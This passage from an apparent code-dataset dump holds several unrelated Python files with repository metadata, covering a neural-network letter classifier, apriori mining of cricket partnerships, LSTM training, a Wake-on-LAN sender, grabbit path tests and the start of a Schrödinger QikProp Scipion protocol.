Process the returned JSON comments data\n process_comments_data(comments_data)\n\n # Download YouTube Live video and chat in threads\n\n ## Create threads\n video_thread = threading.Thread(target=download_video, args=(video_url,))\n chat_thread = threading.Thread(target=download_chat, args=(video_url,))\n\n ## Start threads\n video_thread.start()\n chat_thread.start()\n\n ## Wait for threads to complete\n video_thread.join()\n chat_thread.join()\n\nif __name__ == \"__main__\":\n download_youtube_data()\n","repo_name":"YRG999/babel_lib","sub_path":"ytdl_main.py","file_name":"ytdl_main.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24791320436","text":"import os\nfrom skimage import data, transform\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt \nfrom skimage.color import rgb2gray\nimport random\n\n# Function to load a dataset from a directory, used to import either training or testing data\ndef loadDataSet(directory):\n directories = [d for d in os.listdir(directory) \n if os.path.isdir(os.path.join(directory, d))]\n letterLabels = []\n letterImages = []\n for d in directories:\n labelDirectory = os.path.join(directory, d)\n file_names = [os.path.join(labelDirectory, f) \n for f in os.listdir(labelDirectory)]\n for f in file_names:\n letterImages.append(data.imread(f))\n letterLabels.append(int(d))\n return letterImages, letterLabels\n\n# path of the project\nROOT_PATH = \"/home/domenik/Documents/DAMI\"\n\n# training data directory\ntrain_data_directory = os.path.join(ROOT_PATH, \"Letters/Training\")\n\n# testing data directory\ntest_data_directory = os.path.join(ROOT_PATH, \"Letters/Testing\")\n\n# import training data and store them in images and labels\nimages, labels = loadDataSet(train_data_directory)\n\n# convert list of images to numpy array\nimages = np.array(images)\n\n# convert list of labels to numpy array\nlabels = np.array(labels)\n\n# remove duplicate labels\nunique_labels = set(labels)\n\n# height of the images\nimageHeight = 56\n\n# width of the images\nimageWidth = 56\n\n# amount of pixels in an image, times 4 because [r, g, b, a]\nimagePixelCount = imageHeight * imageWidth * 4\n\n# number of outputs for the neural network\noutputCount = len(unique_labels)\n\n# number of images\nimageCount = int(images.size / imagePixelCount)\n\n# number of epochs the network should be trained\nepochs = 1000\n\n# convert data to proper structure [[ color value, color value ...] [ next picture ]]\nconvertedImageList = [images[x].ravel() for x in range(0, imageCount)]\n\n# convert list to numpy array\nimageArray = np.array(convertedImageList)\n\n# convert labels to proper structure, e.g. [[ 0, 0, 1], [ 1, 0, 0]]\nconvertedLabelList = [[ 0 for x in range(0, outputCount)] for y in range(0, labels.size)]\n\n# convert list to numpy array\nlabelArray = np.array(convertedLabelList)\nfor x in range(0, labels.size):\n labelArray[x][labels[x]] = 1\n\nprint(\"ImagePixelCount: \", imagePixelCount)\nprint(\"OutputCount: \", outputCount)\nprint(\"ImageCount: \", imageCount)\n\n# setup neural network with layer sizes corresponding to the input\nx = tf.placeholder(tf.float32, [None, imagePixelCount])\nW = tf.Variable(tf.zeros([imagePixelCount, outputCount]))\nb = tf.Variable(tf.zeros([outputCount]))\ny = tf.nn.softmax(tf.matmul(x, W) + b)\ny_ = tf.placeholder(tf.float32, [None, outputCount])\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices=[1]))\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\n\n# train the network with training data epochs times\nfor _ in range(epochs):\n sess.run(train_step, feed_dict={x: imageArray, y_: labelArray})\n\n# calculate accuracy of the training based on training data\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\nprint(sess.run(accuracy, feed_dict={x: imageArray, y_: labelArray }))\n","repo_name":"DomenikIrrgang/DAMI","sub_path":"project/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33594668236","text":"# try writing to a file\ndef memory_recall(url_inp):\n mem_f = open(\"last_update.txt\", \"r\")\n\n f_test = mem_f.read()\n url_data = url_inp\n\n if len(url_data) == 0:\n print(\"No value\")\n elif f_test == url_data:\n print(\"Same value\")\n return False\n else:\n print(\"Mismatch\")\n mem_f = open(\"last_update.txt\", \"w+\")\n mem_f.write(url_data)\n return True\n\n mem_update = open(\"last_update.txt\", \"r\")\n new_val = mem_update.read()\n print(new_val)\n#mem_f.close()\n\n#if len(f_test) == 0:\n #print(\"No text\", len(inp))\n# mem_f.write(\"Hey! Is anybody home?\")\n#else:\n #print(\"text\", len(inp))\n# pass\n#result = mem_f.read()\n","repo_name":"Rachepol/far_side_update","sub_path":"far_side_update/sentinel_memory.py","file_name":"sentinel_memory.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41960869599","text":"import pymongo\nfrom itertools import combinations\n\n\"\"\"\npartnership mining using apriori algorithm\nInitially, we will filter the partnerships with total runs > 30. \nThe algorithm works sligthly different from usual apriori, \nhere we have fixed number of items in a partnership(transaction),\nthus the algorithm stops at level 3. The minimum support is set to 15.\n\nAt Level 1 we will get the the individual players/venues involved in atleast 15 partnerships(30+ run).\nAt Level 2 we will have the player-venue/player1-player2 involved in atleast 15 partnerships(30+ run).\nAt Level 3 we will have the most frequent partnerships(partner1,partner2,venue)\n(note: at last level we change min support to 5 as the number of matches played by player pair at particular venue decreases).\n\"\"\"\n\n\ndef removeVenue(itemset,venues):\n for i in itemset:\n if i in venues:\n itemset.remove(i)\n return itemset,i\n return itemset,None\n\n\n\ndef queryGenerator(itemset,venue,min_runs):\n \"\"\"\n returns generalized query to do the following\n 1)to prune invalid candidates.\n 2)to prune candidates(partnership) with runs < min runs.\n \"\"\"\n level=len(itemset)\n partners=[[] for k in range(level)]\n for j in range(level):\n for i in range(level):\n partners[i].append({'partner'+str(j+1):itemset[i]})\n k=itemset.pop(0)\n itemset.append(k)\n ors=[]\n for cond in partners:\n ors.append({'$and':cond})\n \n match={}\n match['$or']=ors\n match['total_runs']={'$gte':30}\n if venue:\n match['venue']=venue\n\n return match\n\n\ndef getDoucuments(data,level,venues,myCol,min_runs):\n #generates candidates for level_i\n myDocs = {}\n if level ==1:\n for p in data:\n try:\n myDocs[p['partner1']]+=1\n except:\n myDocs[p['partner1']]=1\n try:\n myDocs[p['partner2']]+=1\n except:\n myDocs[p['partner2']]=1\n try:\n myDocs[p['venue']]+=1\n except:\n myDocs[p['venue']]=1\n \n else:\n items=list(combinations(data,level))\n for itemset in items:\n itemset=list(itemset)\n itemset.sort()\n partners='-'.join(itemset)\n count=0\n itemset,is_venue=removeVenue(itemset,venues)\n query=[\n {'$match':queryGenerator(itemset,is_venue,min_runs),\n }\n ]\n resp=list(myCol.aggregate(query))\n count+=len(resp)\n myDocs[partners]=count\n \n return myDocs\n\n\ndef pruneCandidates(candidates,min_support):\n #prunes invalid candidates and candidates with support < min support\n prunedDocs=[]\n for c in candidates:\n if candidates[c]>=min_support:\n doc={'count':candidates[c]}\n i=1\n for item in c.split('-'):\n doc['item'+str(i)]=item\n i+=1\n prunedDocs.append(doc)\n return prunedDocs\n\ndef getData(level,resp):\n data=set()\n for r in resp:\n for i in range(level):\n data.add(r['item'+str(i+1)])\n return list(data)\n\ndef main():\n #database connection\n myClient = pymongo.MongoClient(\"mongodb://localhost:27017\")\n myDb = myClient['IPL']\n print('db connected')\n\n min_runs = 30\n min_support = 10\n Parnterships = myDb['partnerships']\n partnerships = list(Parnterships.find({'total_runs':{'$gte':min_runs}}))\n venues = Parnterships.distinct(\"venue\")\n\n\n levels=[]\n print('number of itemsets before Level1 of apriori :',len(partnerships))\n data=partnerships\n \n \n #from level 1 to 3\n for i in range(1,4):\n if i==1 or i==2:\n support=10\n if i==3:\n support=5\n \n Level = myDb['level'+str(i)]\n #generate candidates\n candidates=getDoucuments(data,i,venues,Parnterships,min_runs)\n \n #prune candidates of level i\n pruned=pruneCandidates(candidates,support)\n print('number of itemsets after Level'+str(i),':',len(pruned))\n \n #creating_new_collection for items in each level.\n Level.insert_many(pruned)\n\n resp=list(Level.find({},{'_id':0,'count':0}))\n data = getData(i,resp)\n \n\n answer = list(Level.aggregate([{'$project':{'_id':0}},{'$sort':{'count':-1}}]))\n print(answer)\n \n\n\n\nif __name__=='__main__':\n main()","repo_name":"suhascv/IPL_Analytics","sub_path":"src/analysis/Association/partnershipVenueMining.py","file_name":"partnershipVenueMining.py","file_ext":"py","file_size_in_byte":4486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23091143680","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\n\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n\ndf = pd.read_pickle(\"../../data/interim/data.processed.pkl\")\n\nambient_columns = [col for col in df.columns if col.startswith(\"AmbientConditions\")]\nmachine_columns = [col for col in df.columns if col.startswith(\"Machine\")]\ncombiner_columns = [\n col for col in df.columns if col.startswith(\"FirstStage.CombinerOperation\")\n]\nstage_output_columns = [col for col in df.columns if col.startswith(\"Stage1.Output\")]\n\n\ndef plot_columns(columns, title):\n plt.figure(figsize=(20, 5))\n for col in columns:\n sns.lineplot(data=df, x=df.index, y=col, label=col)\n plt.title(title)\n plt.xlabel(\"Time\")\n plt.ylabel(\"Value\")\n plt.legend(loc=\"best\")\n plt.show()\n\n\ndef get_machine_properties(machine_columns):\n properties = set()\n for col in machine_columns:\n prop = \".\".join(col.split(\".\")[1:])\n properties.add(prop)\n return properties\n\n\nmachine_properties = get_machine_properties(machine_columns)\n\n\ndef plot_machine_columns(properties, title):\n for prop in properties:\n plt.figure(figsize=(15, 6))\n for machine in range(1, 4):\n col = f\"Machine{machine}.{prop}\"\n sns.lineplot(data=df, x=df.index, y=col, label=col)\n plt.title(f\"{title}: {prop}\")\n plt.xlabel(\"Time\")\n plt.ylabel(\"Value\")\n plt.legend(loc=\"best\")\n plt.show()\n\n\ndef plot_individual_columns(columns, title):\n for col in columns:\n plt.figure(figsize=(15, 6))\n sns.lineplot(data=df, x=df.index, y=col, label=col)\n plt.title(f\"{title}: {col}\")\n plt.xlabel(\"Time\")\n plt.ylabel(\"Value\")\n plt.legend(loc=\"best\")\n plt.show()\n\n\nplot_columns(ambient_columns, \"Ambient Conditions\")\nplot_machine_columns(machine_properties, \"Machine Properties\")\nplot_columns(combiner_columns, \"Stage 1 Combiner Operation\")\nplot_individual_columns(stage_output_columns, \"Stage 1 Output Measurements\")\n","repo_name":"Yoazelia/Multi-stage-continuous-flow","sub_path":"src/visualization/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39095085997","text":"import pandas as pd\nimport numpy as np\n# optimizer\nfrom model import LSTM\nimport torch, os, gc\nimport matplotlib.pyplot as plt\nimport json\nfrom optparse import OptionParser\nfrom DataProcessor import DataTransformer, none_transformer, zscore_transformer, min_max_transformer, data_handler, data_handler_0, data_handler_1\nfrom optimizer import AdamW, PlainAdam, RAdam\nfrom loss import BiLinearSimilarity, CosineSimilarityLoss, PearsonCorrLoss, ProjectedDotProductSimilarity\n\n\ndef lstm_backprop(train_loader, dataset_test, max_epoch, model, optimizer, loss_func):\n train_loss_all = []\n valid_loss_all = []\n test_X = dataset_test.tensors[0]\n test_y = dataset_test.tensors[1]\n for epoch in range(max_epoch):\n train_loss = 0\n train_num = 0\n for step, (bx, by) in enumerate(train_loader):\n output = model(bx)\n loss = loss_func(output, by)\n print(f\"loss: {loss}\")\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n train_loss += loss.item() * bx.size(0)\n train_num += bx.size(0)\n \n test_output = model(test_X)\n valid_loss = loss_func(test_output, test_y)\n valid_loss = valid_loss.item() \n print(f'Epoch{epoch+1}/{max_epoch}: Loss:{train_loss/train_num}')\n print(f'Epoch{epoch+1}/{max_epoch}: Valid Loss:{valid_loss}')\n train_loss_all.append(train_loss/train_num)\n valid_loss_all.append(valid_loss)\n # save checkpoint\n if (epoch+1) % 2 == 0:\n checkpoint = {\"model_state_dict\": model.state_dict(),\n \"optimizer_state_dict\": optimizer.state_dict(),\n \"epoch\": epoch}\n path_checkpoint = f\"{save_root_path}/checkpoint_{epoch}_epoch.pkl\"\n torch.save(checkpoint, path_checkpoint)\n # save loss fig\n x = range(len(train_loss_all))\n plt.plot(x, train_loss_all)\n plt.xlabel('epoch')\n plt.ylabel('loss value')\n plt.savefig(f\"{save_root_path}/train_loss.jpg\")\n plt.close()\n plt.plot(x, valid_loss_all)\n plt.xlabel('epoch')\n plt.ylabel('Valid loss value')\n plt.savefig(f\"{save_root_path}/valid_loss.jpg\")\n plt.close()\n\n \n \n\n\n\n\n\nif __name__ == '__main__':\n parser = OptionParser()\n parser.add_option('--config', dest='Config', help='config file')\n (options, args) = parser.parse_args()\n config_path = options.Config\n\n with open(config_path, 'r') as r:\n config = json.load(r)\n\n data_path = config['data_path']\n train_ratio = config['train_ratio']\n test_ratio = config['test_ratio']\n save_root_path = config['save_path']\n data_load_cores = config['data_load_cores']\n df = pd.read_csv(data_path, compression='gzip', header=0, sep=',')\n # choose data handler\n df = data_handler_1(df)\n data_length = len(df)\n features = list(df)\n features.remove('symbol')\n features.remove('Ret10S')\n features.remove('Ret600S')\n train_split_point = int(data_length * train_ratio)\n test_split_point = int(data_length * test_ratio)\n train_data = df.iloc[:train_split_point]\n test_data = df.iloc[train_split_point:test_split_point]\n\n row_window = config['row_window']\n batchsize = 10000\n max_epoch = config['max_epoch']\n\n del df\n gc.collect()\n\n if not os.path.exists(save_root_path):\n os.makedirs(save_root_path, exist_ok=True)\n\n \n data_transformer = DataTransformer(zscore_transformer, row_window, n_cores=data_load_cores)\n\n train_X = train_data[features]\n train_y = train_data['Ret10S'].iloc[row_window:].values.reshape(-1,1)\n test_X = test_data[features]\n test_y = test_data['Ret10S'].iloc[row_window:].values.reshape(-1,1)\n \n print(\"start data transformer\")\n train_X = data_transformer.fit_transform(train_X)\n test_X = data_transformer.fit_transform(test_X)\n\n dataset_train = data_transformer.to_dataset(train_X, train_y)\n dataloader_train = data_transformer.to_dataloader(dataset_train, batchsize)\n dataset_test = data_transformer.to_dataset(test_X, test_y)\n # dataloader_test = data_transformer.to_dataloader(dataset_test, )\n\n # delete useless data\n del train_X\n del train_y\n del test_X\n del test_y\n gc.collect()\n\n # construct model\n input_size = len(features)\n hidden_size = config['hidden_size']\n num_layers = 1\n batch_first = True\n # dropout = 0.43\n fc_layer_num = config['fc_layer_num']\n fc_layer_param = config['fc_layer_param']\n model = LSTM(input_size, hidden_size, num_layers, batchsize, batch_first, fc_layer_num, *fc_layer_param)\n\n # loss function\n # loss_func = torch.nn.MSELoss()\n func_name = config['loss_func']\n if func_name == 'mse':\n loss_func = torch.nn.MSELoss()\n elif func_name == 'mae':\n loss_func = torch.nn.L1Loss()\n elif func_name == 'corr_loss':\n loss_func = PearsonCorrLoss()\n else:\n raise ValueError(\"choose right loss\")\n \n # optimizer\n # optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n optimizer_name = config['optimizer_name']\n if optimizer_name == 'adam':\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n elif optimizer_name == 'radam':\n optimizer = torch.optim.RAdam(model.parameters(), lr=1e-3)\n elif optimizer_name == 'adamw':\n optimizer = torch.optim.AdamW(model.parameters(), lr=1e-3)\n else:\n raise ValueError(\"choose right optimizer\")\n\n \n print(\"start training\")\n lstm_backprop(dataloader_train, dataset_test, max_epoch, model, optimizer, loss_func)\n\n ","repo_name":"naive666/sta663_waive","sub_path":"hft/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43443976800","text":"##Ejercicio 2\n# el siguiente codigo lee n números en un array y mostrarlos en orden inverso\n# Entrada: 1 3 5 7 9\n# Salida: 9 7 5 3 1\n#\n# Autor: Yeimy Huanca\nprint(\"ejercicio2\")\nnum =0\narr = []\nprint(\"Coloque'q'para parar.\\nIngrese los numeros del array\")\nsuma = 0\nwhile num != \"q\":\n num=input()\n if num != \"q\" :\n num=int(num)\n arr.append(num)\nprint(arr)\n\n\nfor j in range(len(arr)) :\n print (arr[(j+1)*-1])\n #print (j*-1)","repo_name":"yeimyhs/LabADAGrupoBYeimyHuanca","sub_path":"FirstClassExercises/exercise2.py","file_name":"exercise2.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8512510967","text":"import socket\nimport struct\nimport configparser\nimport re\n\nmyconfig = {}\n\nclass WakeOnLan:\n def __init__(self, host, mydir):\n self.host = host\n self.mydir = mydir\n\n def wake(self):\n \"\"\" Switches on remote computers using WOL. \"\"\"\n global myconfig\n\n try:\n macaddress = myconfig[self.host]['mac']\n\n except:\n return False\n\n # Check mac address format\n found = re.fullmatch('^([A-F0-9]{2}(([:][A-F0-9]{2}){5}|([-][A-F0-9]{2}){5})|([\\s][A-F0-9]{2}){5})|([a-f0-9]{2}(([:][a-f0-9]{2}){5}|([-][a-f0-9]{2}){5}|([\\s][a-f0-9]{2}){5}))$', macaddress)\n #We must found 1 match , or the MAC is invalid\n if found:\n\t #If the match is found, remove mac separator [:-\\s]\n macaddress = macaddress.replace(macaddress[2], '')\n else:\n raise ValueError('Incorrect MAC address format')\n\t\n # Pad the synchronization stream.\n data = ''.join(['FFFFFFFFFFFF', macaddress * 20])\n send_data = b''\n\n # Split up the hex values and pack.\n for i in range(0, len(data), 2):\n send_data = b''.join([send_data, struct.pack('B', int(data[i: i + 2], 16))])\n\n # Broadcast it to the LAN.\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n sock.sendto(send_data, (myconfig['General']['broadcast'], 7))\n return True\n\n\n def loadConfig(self):\n\t \"\"\" Read in the Configuration file to get CDN specific settings\"\"\"\n\t global myconfig\n\t Config = configparser.ConfigParser()\n\t Config.read(self.mydir+\"/wol_config.ini\")\n\t sections = Config.sections()\n\t dict1 = {}\n\t for section in sections:\n\t\t options = Config.options(section)\n\n\t\t sectkey = section\n\t\t myconfig[sectkey] = {}\n\n\n\t\t for option in options:\n\t\t\t myconfig[sectkey][option] = Config.get(section,option)\n\n\n\t return myconfig # Useful for testing\n\n# #if __name__ == '__main__':\n# mydir = os.path.dirname(os.path.abspath(__file__))\n# try: arg = sys.argv[1]\n# except: arg = 'myPC'\n# #except: arg = 'list'\n# wol = WakeOnLan(arg)\n# conf = wol.loadConfig()\n# try:\n# # Use macaddresses with any separators.\n# if arg == 'list':\n# print('Configured Hosts:')\n# for i in conf: \n# if i != 'General': print('\\t',i)\n# print('\\n')\n# if arg == 'myPC':\n# if not wol.wake_on_lan(): \n# print('Invalid Hostname specified')\n# else: \n# print('Magic packet should be winging its way')\n# else: print(\"test\")\n# except:\n# wol.usage()","repo_name":"Cesarsk/python-wol-server","sub_path":"wol.py","file_name":"wol.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"29861295162","text":"def ngto(n):\n S=0\n for i in range(2,n):\n if n%i==0:\n S+=1\n if S>0:\n return False\n else:\n return True\n\ndef thuaso(n,a):\n if n%a==0:\n return True\n else: return False\n\nA=[]\nx=0\nn=int(input())\nfor i in range(2,n):\n if ngto(i):\n A.append(i)\nprint(f\"Thừa số nguyên tố của {n} là: \",end=\"\")\nwhile x}/r-{run}.nii.gz',\n 't-{task}/{subject}-{run}.nii.gz']\n pats = [join(writable_file.dirname, p) for p in pats]\n target = join(writable_file.dirname, 't-rest/3-2.nii.gz')\n assert build_path(writable_file.entities, pats) == target\n\n # Pattern with valid conditional values\n pats = ['{task}/r-{run}.nii.gz',\n 't-{task}/{subject}-{run}.nii.gz']\n pats = [join(writable_file.dirname, p) for p in pats]\n target = join(writable_file.dirname, 'rest/r-2.nii.gz')\n assert build_path(writable_file.entities, pats) == target\n\n # Pattern with optional entity with conditional values\n pats = ['[{task}/]r-{run}.nii.gz',\n 't-{task}/{subject}-{run}.nii.gz']\n pats = [join(writable_file.dirname, p) for p in pats]\n target = join(writable_file.dirname, 'r-2.nii.gz')\n assert build_path(writable_file.entities, pats) == target\n\n # Pattern with default value\n pats = ['sess-{session|A}/r-{run}.nii.gz']\n assert build_path({'run': 3}, pats) == 'sess-A/r-3.nii.gz'\n\n # Pattern with both valid and default values\n pats = ['sess-{session|D}/r-{run}.nii.gz']\n assert build_path({'session': 1, 'run': 3}, pats) == 'sess-D/r-3.nii.gz'\n pats = ['sess-{session|D}/r-{run}.nii.gz']\n assert build_path({'session': 'B', 'run': 3}, pats) == 'sess-B/r-3.nii.gz'\n\n def test_strict_build_path(self):\n\n # Test with strict matching--should fail\n pats = ['[{session}/]{task}/r-{run}.nii.gz',\n 't-{task}/{subject}-{run}.nii.gz']\n entities = {'subject': 1, 'task': \"A\", 'run': 2}\n assert build_path(entities, pats, True)\n entities = {'subject': 1, 'task': \"A\", 'age': 22}\n assert not build_path(entities, pats, True)\n\n def test_build_file(self, writable_file, tmpdir, caplog):\n writable_file.tags = {'task': Tag(None, 'rest'), 'run': Tag(None, '2'),\n 'subject': Tag(None, '3')}\n\n # Simple write out\n new_dir = join(writable_file.dirname, 'rest')\n pat = join(writable_file.dirname,\n '{task}/sub-{subject}/run-{run}.nii.gz')\n target = join(writable_file.dirname, 'rest/sub-3/run-2.nii.gz')\n writable_file.copy(pat)\n assert exists(target)\n\n # Conflict handling\n with pytest.raises(ValueError):\n writable_file.copy(pat)\n with pytest.raises(ValueError):\n writable_file.copy(pat, conflicts='fail')\n writable_file.copy(pat, conflicts='skip')\n log_message = caplog.records[0].message\n assert log_message == 'A file at path {} already exists, ' \\\n 'skipping writing file.'.format(target)\n writable_file.copy(pat, conflicts='append')\n append_target = join(writable_file.dirname,\n 'rest/sub-3/run-2_1.nii.gz')\n assert exists(append_target)\n writable_file.copy(pat, conflicts='overwrite')\n assert exists(target)\n shutil.rmtree(new_dir)\n\n # Symbolic linking\n writable_file.copy(pat, symbolic_link=True)\n assert islink(target)\n shutil.rmtree(new_dir)\n\n # Using different root\n root = str(tmpdir.mkdir('tmp2'))\n pat = join(root, '{task}/sub-{subject}/run-{run}.nii.gz')\n target = join(root, 'rest/sub-3/run-2.nii.gz')\n writable_file.copy(pat, root=root)\n assert exists(target)\n\n # Copy into directory functionality\n pat = join(writable_file.dirname, '{task}/')\n writable_file.copy(pat)\n target = join(writable_file.dirname, 'rest', writable_file.filename)\n assert exists(target)\n shutil.rmtree(new_dir)\n\n\nclass TestWritableLayout:\n\n def test_write_files(self, tmpdir, layout):\n\n pat = join(str(tmpdir), 'sub-{subject<01|02>}'\n '/sess-{session}'\n '/r-{run}'\n '/type-{type}'\n '/task-{task}.nii.gz')\n layout.copy_files(path_patterns=pat)\n example_file = join(str(tmpdir), 'sub-02'\n '/sess-2'\n '/r-1'\n '/type-bold'\n '/task-rest.nii.gz')\n example_file2 = join(str(tmpdir), 'sub-04'\n '/sess-2'\n '/r-1'\n '/type-bold'\n '/task-rest.nii.gz')\n\n assert exists(example_file)\n assert not exists(example_file2)\n\n pat = join(str(tmpdir), 'sub-{subject}'\n '/sess-{session}'\n '/r-{run}'\n '/type-{type}'\n '/task-{task}.nii.gz')\n layout.copy_files(path_patterns=pat, conflicts='overwrite')\n example_file = join(str(tmpdir), 'sub-02'\n '/sess-2'\n '/r-1'\n '/type-bold'\n '/task-rest.nii.gz')\n assert exists(example_file)\n assert exists(example_file2)\n\n def test_write_contents_to_file(self, layout):\n contents = 'test'\n data_dir = join(dirname(__file__), 'data', '7t_trt')\n entities = {'subject': 'Bob', 'session': '01'}\n pat = join('sub-{subject}/sess-{session}/desc.txt')\n\n # With indexing\n layout.write_contents_to_file(entities, path_patterns=pat,\n contents=contents, index=True)\n target = join(data_dir, 'sub-Bob/sess-01/desc.txt')\n assert exists(target)\n with open(target) as f:\n written = f.read()\n assert written == contents\n assert target in layout.files\n shutil.rmtree(join(data_dir, 'sub-Bob'))\n\n # Without indexing\n pat = join('sub-{subject}/sess-{session}/desc_no_index.txt')\n layout.write_contents_to_file(entities, path_patterns=pat,\n contents=contents, index=False)\n target = join(data_dir, 'sub-Bob/sess-01/desc_no_index.txt')\n assert exists(target)\n with open(target) as f:\n written = f.read()\n assert written == contents\n assert target not in layout.files\n shutil.rmtree(join(data_dir, 'sub-Bob'))\n\n def test_write_contents_to_file_defaults(self, layout):\n contents = 'test'\n data_dir = join(dirname(__file__), 'data', '7t_trt')\n config = join(dirname(__file__), 'specs', 'test.json')\n layout = Layout([(data_dir, [config, {\n 'name': \"test_writable\",\n 'default_path_patterns': ['sub-{subject}/ses-{session}/{subject}'\n '{session}{run}{type}{task}{acquisition}'\n '{bval}']\n }])], root=data_dir)\n entities = {'subject': 'Bob', 'session': '01', 'run': '1',\n 'type': 'test', 'task': 'test', 'acquisition': 'test',\n 'bval': 0}\n layout.write_contents_to_file(entities, contents=contents, index=True)\n target = join(data_dir, 'sub-Bob/ses-01/Bob011testtesttest0')\n assert exists(target)\n with open(target) as f:\n written = f.read()\n assert written == contents\n assert target in layout.files\n shutil.rmtree(join(data_dir, 'sub-Bob'))\n\n def test_build_file_from_layout(self, tmpdir, layout):\n entities = {'subject': 'Bob', 'session': '01', 'run': '1'}\n pat = join(str(tmpdir), 'sub-{subject}'\n '/sess-{session}'\n '/r-{run}.nii.gz')\n path = layout.build_path(entities, path_patterns=pat)\n assert path == join(str(tmpdir), 'sub-Bob/sess-01/r-1.nii.gz')\n\n data_dir = join(dirname(__file__), 'data', '7t_trt')\n filename = 'sub-04_ses-1_task-rest_acq-fullbrain_run-1_physio.tsv.gz'\n file = join('sub-04', 'ses-1', 'func', filename)\n path = layout.build_path(file, path_patterns=pat)\n assert path.endswith('sub-04/sess-1/r-1.nii.gz')\n","repo_name":"grabbles/grabbit","sub_path":"grabbit/tests/test_writable.py","file_name":"test_writable.py","file_ext":"py","file_size_in_byte":10436,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"31"} +{"seq_id":"12096467993","text":"# **************************************************************************\n# *\n# * Authors: Martín Salinas Antón (martin.salinas@cnb.csic.es)\n# *\n# * Unidad de Bioinformatica of Centro Nacional de Biotecnologia , CSIC\n# *\n# * This program is free software; you can redistribute it and/or modify\n# * it under the terms of the GNU General Public License as published by\n# * the Free Software Foundation; either version 2 of the License, or\n# * (at your option) any later version.\n# *\n# * This program is distributed in the hope that it will be useful,\n# * but WITHOUT ANY WARRANTY; without even the implied warranty of\n# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# * GNU General Public License for more details.\n# *\n# * You should have received a copy of the GNU General Public License\n# * along with this program; if not, write to the Free Software\n# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n# * 02111-1307 USA\n# *\n# * All comments concerning this program package may be sent to the\n# * e-mail address 'scipion@cnb.csic.es'\n# *\n# **************************************************************************\n\n# General imports\nimport os, csv\nfrom typing import Union, List\n\n# Scipion em imports\nfrom pwem.protocols import EMProtocol\nfrom pwem.objects import String, Float, Integer\nfrom pyworkflow.protocol.params import STEPS_PARALLEL, PointerParam, BooleanParam, FloatParam, IntParam, LEVEL_ADVANCED\nfrom pyworkflow.utils import redStr, Message\n\n# Scipion chem imports\nfrom pwchem.objects import SetOfSmallMolecules, SmallMolecule\nfrom pwchem.utils import removeElements\n\n# Plugin imports\nfrom .. import Plugin\n\n# Output variable name\nOUTPUTATTRIBUTE = \"outputSmallMolecules\"\n\nclass ProtSchrodingerQikprop(EMProtocol):\n\t\"\"\" Qikprop analyzes the properties of a given set of small molecules. \"\"\"\n\t_label = 'qikprop'\n\t_possibleOutputs = {OUTPUTATTRIBUTE: SetOfSmallMolecules}\n\n\t# --------------------------- Class constructor --------------------------------------------\n\tdef __init__(self, **args):\n\t\t# Calling parent class constructor\n\t\tsuper().__init__(**args)\n\n\t\t# Defining execution mode. Steps will take place in parallel now\n\t\t# Full tutorial on how to parallelize protocols can be read here:\n\t\t# https://scipion-em.github.io/docs/release-3.0.0/docs/developer/parallelization.html\n\t\tself.stepsExecutionMode = STEPS_PARALLEL\n\n\tdef _defineParams(self, form):\n\t\t\"\"\" This function defines the params to be included in the protocol's form. \"\"\"\n\t\t# Add parallel section\n\t\tform.addParallelSection(threads=4)\n\n\t\t# Create form\n\t\tform.addSection(label=Message.LABEL_INPUT)\n\n\t\t# Main params\n\t\tform.addParam('inputSmallMolecules', PointerParam, pointerClass=\"SetOfSmallMolecules\",\n\t\t\tlabel='Input small molecules:', help='Input small molecules to be treated.')\n\t\tform.addParam('fast', BooleanParam, default=False, label='Run in fast mode:',\n\t\t\thelp='Run job in fast mode (no dipole, homo or lumo).')\n\t\tform.addParam('sim', BooleanParam, default=True, label='Generate similar known drugs:',\n\t\t\thelp='Generate a list of known drugs most similar to each processed molecule.')\n\t\tform.addParam('nsim', IntParam, default=5, label='Number of most similar drugs:', condition=\"sim==True\",\n\t\t\thelp=\"Number of most similar drug molecules to report.\")\n\t\t\n\t\t# Additional optional params\n\t\tform.addParam('neut', BooleanParam, default=True, label='Neutralize molecules:', expertLevel=LEVEL_ADVANCED,\n\t\t\thelp='Neutralize molecules in Maestro formatted files prior to processing.')\n\t\tform.addParam('altclass', BooleanParam, default=False, label='Alternative class:', 